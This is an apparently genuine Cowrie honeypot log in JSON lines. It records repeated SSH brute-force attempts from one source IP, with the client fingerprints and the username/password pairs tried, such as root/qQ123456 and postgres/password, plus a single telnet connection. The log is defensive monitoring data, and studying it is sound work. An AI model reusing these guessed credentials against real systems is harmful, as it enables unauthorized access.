{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:27.888996Z","src_ip":"45.156.87.253","session":"5df354e07d9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:27.893317Z","src_ip":"45.156.87.253","session":"5df354e07d9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46966,"dst_ip":"10.17.0.5","dst_port":22,"session":"ede794ac7262","protocol":"ssh","message":"New connection: 45.156.87.253:46966 (10.17.0.5:22) [session: ede794ac7262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:30.546067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:30.550327Z","src_ip":"45.156.87.253","session":"ede794ac7262","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:30.630993Z","src_ip":"45.156.87.253","session":"ede794ac7262","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:30.874240Z","src_ip":"45.156.87.253","session":"ede794ac7262","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:32.006992Z","src_ip":"45.156.87.253","session":"ede794ac7262","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46974,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fa26717e64f","protocol":"ssh","message":"New connection: 45.156.87.253:46974 (10.17.0.5:22) [session: 4fa26717e64f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:33.901263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:33.907181Z","src_ip":"45.156.87.253","session":"4fa26717e64f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:33.988723Z","src_ip":"45.156.87.253","session":"4fa26717e64f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"test","message":"login attempt [appuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:34.234080Z","src_ip":"45.156.87.253","session":"4fa26717e64f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:35.317819Z","src_ip":"45.156.87.253","session":"4fa26717e64f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46982,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aa93a2a3818","protocol":"ssh","message":"New connection: 45.156.87.253:46982 (10.17.0.5:22) [session: 1aa93a2a3818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:37.359653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:37.363076Z","src_ip":"45.156.87.253","session":"1aa93a2a3818","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:37.444383Z","src_ip":"45.156.87.253","session":"1aa93a2a3818","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:37.689391Z","src_ip":"45.156.87.253","session":"1aa93a2a3818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:38.773057Z","src_ip":"45.156.87.253","session":"1aa93a2a3818","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":35598,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e0b48657088","protocol":"telnet","message":"New connection: 50.62.181.92:35598 (10.17.0.5:23) [session: 7e0b48657088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:39.913844Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38996,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b10d7132a4a","protocol":"ssh","message":"New connection: 45.156.87.253:38996 (10.17.0.5:22) [session: 9b10d7132a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:40.653370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:40.657283Z","src_ip":"45.156.87.253","session":"9b10d7132a4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:40.737505Z","src_ip":"45.156.87.253","session":"9b10d7132a4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:40.981385Z","src_ip":"45.156.87.253","session":"9b10d7132a4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:42.063619Z","src_ip":"45.156.87.253","session":"9b10d7132a4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39024,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9c6f25e13a3","protocol":"ssh","message":"New connection: 45.156.87.253:39024 (10.17.0.5:22) [session: b9c6f25e13a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:44.038572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:44.042481Z","src_ip":"45.156.87.253","session":"b9c6f25e13a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:44.123154Z","src_ip":"45.156.87.253","session":"b9c6f25e13a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:44.364460Z","src_ip":"45.156.87.253","session":"b9c6f25e13a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:45.448494Z","src_ip":"45.156.87.253","session":"b9c6f25e13a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39044,"dst_ip":"10.17.0.5","dst_port":22,"session":"248610122800","protocol":"ssh","message":"New connection: 45.156.87.253:39044 (10.17.0.5:22) [session: 248610122800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:47.394996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:47.398791Z","src_ip":"45.156.87.253","session":"248610122800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:47.479069Z","src_ip":"45.156.87.253","session":"248610122800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:47.721760Z","src_ip":"45.156.87.253","session":"248610122800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:48.824722Z","src_ip":"45.156.87.253","session":"248610122800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40516,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c1f6569323e","protocol":"ssh","message":"New connection: 45.156.87.253:40516 (10.17.0.5:22) [session: 2c1f6569323e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:50.675043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:50.679515Z","src_ip":"45.156.87.253","session":"2c1f6569323e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:50.760046Z","src_ip":"45.156.87.253","session":"2c1f6569323e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"rock","message":"login attempt [media/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:51.143163Z","src_ip":"45.156.87.253","session":"2c1f6569323e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:52.226438Z","src_ip":"45.156.87.253","session":"2c1f6569323e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40528,"dst_ip":"10.17.0.5","dst_port":22,"session":"491ee0055ee1","protocol":"ssh","message":"New connection: 45.156.87.253:40528 (10.17.0.5:22) [session: 491ee0055ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:54.172122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:54.175326Z","src_ip":"45.156.87.253","session":"491ee0055ee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:54.256280Z","src_ip":"45.156.87.253","session":"491ee0055ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"qwerty","message":"login attempt [newuser/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:54.500957Z","src_ip":"45.156.87.253","session":"491ee0055ee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:55.585842Z","src_ip":"45.156.87.253","session":"491ee0055ee1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40532,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccd2b353ec6a","protocol":"ssh","message":"New connection: 45.156.87.253:40532 (10.17.0.5:22) [session: ccd2b353ec6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:57.493805Z"}
